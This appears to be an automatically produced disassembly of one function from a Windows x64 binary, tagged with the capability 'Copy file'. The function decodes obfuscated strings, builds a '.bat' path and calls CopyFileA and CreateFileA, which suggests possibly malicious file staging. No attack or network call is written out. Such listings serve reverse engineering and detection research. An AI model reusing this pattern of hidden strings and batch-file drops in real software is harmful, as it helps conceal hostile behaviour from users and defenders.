Function at 0x14003f580
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x380]
sub rsp, 0x480
mov rax, qword [0x140073010]
xor rax, rsp
mov qword [rbp + 0x370], rax
movaps xmm0, xmmword [str.6VVYqCAosWjD4erSfQbAx16KIjxemLh2gnZYXMLombOc07K5JzzLjE5uY7mGjvf]
lea rcx, [rbp + 0x1b1]
movaps xmm1, xmmword [0x14006dbe0]
mov r15, rdx
movzx eax, byte [0x14006dc10]
xor r14d, r14d
movaps xmmword [rbp + 0x170], xmm0
xor edx, edx
movaps xmm0, xmmword [0x14006dbf0]
mov r8d, 0x1b3
movaps xmmword [rbp + 0x180], xmm1
mov r12d, r14d
movaps xmm1, xmmword [0x14006dc00]
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x1a0], xmm1
mov qword [rsp + 0x48], r14
mov byte [rbp + 0x1b0], al
call fcn.1400452a0
movaps xmm0, xmmword [str.6VVYqCAosWjD4erSfQbAx4x1ac9yt6hVlTbwuBHLu7JfLTO3meEdrx5K7XaUGjXaBCNNkUBiFSldyb5bfYbC7UYsAfl8qoprkPv17gp5estKNCt5sMgE57Nb6gz14BVb]
lea rcx, [rbp - 0xf]
movaps xmm1, xmmword [0x14006dc30]
xor edx, edx
movzx eax, byte [0x14006dca0]
mov r8d, 0x173
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [0x14006dc40]
movaps xmmword [rbp - 0x80], xmm1
movaps xmm1, xmmword [0x14006dc50]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm0, xmmword [0x14006dc60]
movaps xmmword [rbp - 0x60], xmm1
movaps xmm1, xmmword [0x14006dc70]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [0x14006dc80]
movaps xmmword [rbp - 0x40], xmm1
movaps xmm1, xmmword [0x14006dc90]
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x10], al
call fcn.1400452a0
call fcn.140046c68
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x40], r14
lea rcx, [rbp + 0x170]
call fcn.140036bf0
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x60], r14
lea rcx, [rsp + 0x70]
call fcn.140036bf0
mov rsi, qword [rsp + 0x40]
mov rbx, 0xffffffffffffffff
mov rdi, rbx
cmp byte [rsi + rdi + 1], r12b
lea rdi, [rdi + 1]
jne 0x14003f6d1
lea rcx, [rdi - 4]
mov edx, 1
add rcx, 1
cmovb rcx, rbx
call fcn.1400462ec
test rax, rax
je 0x14003f70a
lea rdx, [rdi - 3]
mov r8, rsi
lea r9, [rdi - 4]
mov rcx, rax
call fcn.1400462f4
mov rcx, rsi
call fcn.1400462d0
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x40], r14
lea rcx, [rbp + 0x170]
call fcn.140036bf0
mov rsi, qword [rsp + 0x40]
mov rdi, rbx
cmp byte [rsi + rdi + 1], r12b
lea rdi, [rdi + 1]
jne 0x14003f730
mov edx, 1
lea rcx, [rdi + 1]
call fcn.1400462ec
mov r8, rsi
mov qword [rsp + 0x40], rax
lea rdx, [rdi + 1]
mov rcx, rax
mov r13, rax
call fcn.140046b08
mov rcx, qword [rsp + 0x60]
call fcn.1400462d0
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x60], r14
lea rcx, [rsp + 0x70]
call fcn.140036bf0
mov rsi, qword [rsp + 0x60]
mov rdi, rbx
nop word [rax + rax]
cmp byte [rsi + rdi + 1], r12b
lea rdi, [rdi + 1]
jne 0x14003f790
mov edx, 1
lea rcx, [rdi + 1]
call fcn.1400462ec
mov r8, rsi
mov qword [rsp + 0x50], rax
lea rdx, [rdi + 1]
mov rcx, rax
call fcn.140046b08
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], r14
call fcn.140038430
mov rsi, qword [rsp + 0x60]
mov rdi, rbx
inc rdi
cmp byte [rsi + rdi], r12b
jne 0x14003f7d4
add rdi, 5
mov edx, 1
mov rcx, rdi
call fcn.1400462ec
mov qword [rsp + 0x58], rax
mov r14, rax
test rax, rax
je 0x14003f81b
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.1400466e0
lea r8, str..bat
mov rdx, rdi
mov rcx, r14
call fcn.140046b08
test r15, r15
je 0x14003f866
test r13, r13
je 0x14003f866
mov rdx, r13
mov rcx, r15
call fcn.140038a10
mov qword [rsp + 0x48], rax
mov r12, rax
test rax, rax
je 0x14003f866
mov rdx, r14
mov rcx, r15
call fcn.140038a10
xor r15d, r15d
lea rdx, [rsp + 0x60]
lea rcx, str.6VVYqCAosWjD4erSfQbAx7TuMEJukscDsoJ7uzQdUo
mov qword [rsp + 0x60], r15
mov r13, rax
call fcn.140036bf0
jmp 0x14003f88b
xor r15d, r15d
lea rdx, [rsp + 0x60]
lea rcx, str.6VVYqCAosWjD4erSfQbAx7TuMEJukscDsoJ7uzQdUo
mov qword [rsp + 0x60], r15
call fcn.140036bf0
mov r13d, r15d
test r12, r12
je 0x14003fa4c
mov r14, qword [rsp + 0x60]
test r14, r14
je 0x14003fa51
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], r15
call fcn.140040790
mov rsi, qword [rsp + 0x60]
test rsi, rsi
je 0x14003fa51
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x14003f8c0
test rax, rax
je 0x14003fa51
mov rax, rbx
inc rax
cmp byte [rsi + rax], 0
jne 0x14003f8d5
mov rcx, rbx
cmp byte [r14 + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x14003f8e1
lea r12, [rcx + 2]
add r12, rax
mov rcx, r12
call fcn.1400462e4
mov rdi, rax
test rax, rax
je 0x14003f997
mov r8, rsi
mov rdx, r12
mov rcx, rax
call fcn.1400466e0
lea r8, [0x14006d030]
mov rdx, r12
mov rcx, rdi
call fcn.140046b08
mov r8, r14
mov rdx, r12
mov rcx, rdi
call fcn.140046b08
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [rdi + rax], 0
jne 0x14003f940
test rax, rax
je 0x14003f994
lea r8, [0x14006d81c]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.14004cd44
test eax, eax
jne 0x14003f994
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14003f975
call fcn.14004c82c
mov r12, qword [rsp + 0x48]
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
cmove r15d, ebx
jmp 0x14003f99c
mov r15d, ebx
mov r12, qword [rsp + 0x48]
mov r8, rbx
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x14003f9a0
xor edx, edx
mov rcx, rsi
call fcn.1400452a0
mov rcx, rsi
call fcn.1400462d0
test rdi, rdi
je 0x14003f9df
inc rbx
cmp byte [rdi + rbx], 0
jne 0x14003f9c1
mov r8, rbx
xor edx, edx
mov rcx, rdi
call fcn.1400452a0
mov rcx, rdi
call fcn.1400462d0
mov rcx, r14
call fcn.1400462d0
test r15d, r15d
jne 0x14003fa5e
test r13, r13
jne 0x14003f9f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14003fa2f
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x50]
mov rdx, r12
mov rbx, qword [rsp + 0x40]
mov r9, rdi
mov r8, rbx
mov rcx, r13
call fcn.14003e200
jmp 0x14003fa68
mov r14, qword [rsp + 0x60]
mov rcx, r14
call fcn.1400462d0
mov r12, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
mov rcx, rbx
call fcn.1400462d0
mov rcx, qword [rsp + 0x58]
call fcn.1400462d0
mov rcx, r12
call fcn.1400462d0
mov rcx, r13
call fcn.1400462d0
mov rcx, rdi
call fcn.1400462d0
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.140043fc0
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret